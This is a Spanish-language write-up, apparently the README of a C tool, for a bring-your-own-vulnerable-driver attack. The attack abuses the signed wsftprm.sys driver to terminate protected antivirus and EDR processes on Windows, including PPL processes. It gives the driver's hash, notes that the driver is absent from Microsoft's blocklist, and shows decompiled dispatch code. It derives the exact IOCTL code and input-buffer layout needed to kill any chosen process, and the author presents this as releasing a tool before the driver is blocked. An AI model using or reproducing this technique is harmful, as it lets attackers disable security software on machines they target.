
Herramienta basada en C que explota el controlador de kernel vulnerable wsftprm.sys para terminar procesos protegidos de EDR/AV en Windows, incluidos procesos PPL, mediante lógica de envío de IOCTL revertida.
F, otro conductor se quemó.. Estuve guardando el driver wsftprm.sys por un tiempo ;) pero desde que alguien publicó un POC público, lo estoy abriendo. Todos sabemos que pronto será añadido a la lista de bloqueo de drivers, así que aquí está mi implementación para lo mismo — en C
Este proyecto explota el driver vulnerable wsftprm.sys (kernel driver de Topaz Antifraud) para terminar procesos protegidos (por ejemplo, servicios de antivirus/EDR) en Windows.
A partir de enero de 2026, wsftprm.sys (SHA-256: FF5DBDCF6D7AE5D97B6F3EF412DF0B977BA4A844C45B30CA78C0EEB2653D69A8) sigue siendo uno de los drivers vulnerables firmados que no está en la lista oficial de bloqueo de drivers vulnerables de Microsoft.
Hay un montón de información sobre cómo cargar e invertir un driver, así que consulte cualquiera de ellas. Lo único interesante de este driver es cómo manejan los IOCTLs. El driver no usa una declaración switch estándar para el envío de IOCTL. En su lugar, emplea una cadena de restas del código IOCTL para ofuscar los valores previstos.
__int64 __fastcall DispatchDeviceControl(__int64 a1, __int64 a2, ...)
{
// ...
v7 = IoControlCode; // v6[6] = Parameters.DeviceIoControl.IoControlCode
v8 = v7 - 0x222000;
v9 = v8 - 4;
v10 = v9 - 4;
v11 = v10 - 16;
if ( v11 == 4 && InputBufferLength == 1036 )
{
// Copy 1036-byte input buffer
// Extract first DWORD as PID (v41)
// Call sub_14000264C(v41, buffer) → leads to termination
}
}
sub_14000264C(unsigned int a1, __int64 a2)
{
// ...
v4 = sub_140002848(a1); // a1 = PID from buffer[0..3]
}
__int64 __fastcall sub_140002848(unsigned int a1) // PID
{
CLIENT_ID ClientId = { (HANDLE)a1, 0 };
OBJECT_ATTRIBUTES ObjAttr = { sizeof(ObjAttr), 0, 0, 0, 0, 0 };
HANDLE ProcessHandle;
ZwOpenProcess(&ProcessHandle, PROCESS_ALL_ACCESS, &ObjAttr, &ClientId);
if (NT_SUCCESS(status) && ProcessHandle)
{
ZwTerminateProcess(ProcessHandle, 0);
ZwClose(ProcessHandle);
}
// ...
}
así que ahora sabemos el requisito previo para alcanzar la función vulnerable. Básicamente v11 == 4 && InputBufferLength == 1036, por lo que podemos trabajar hacia atrás desde la condición para obtener el código IOCTL.. Algo así:
v11 == 4
→ v10 - 16 == 4 → v10 = 20 (0x14)
→ v9 - 4 == 20 → v9 = 24 (0x18)
→ v8 - 4 == 24 → v8 = 28 (0x1C)
→ v7 - 0x222000 == 28 → v7 = 0x222000 + 0x1C = 0x22201C
Y luego puedes usar DeviceIoControl con el código IOCTL para terminar el proceso que quieras (incluyendo procesos PPL)
Última prueba en Windows versión 25H2.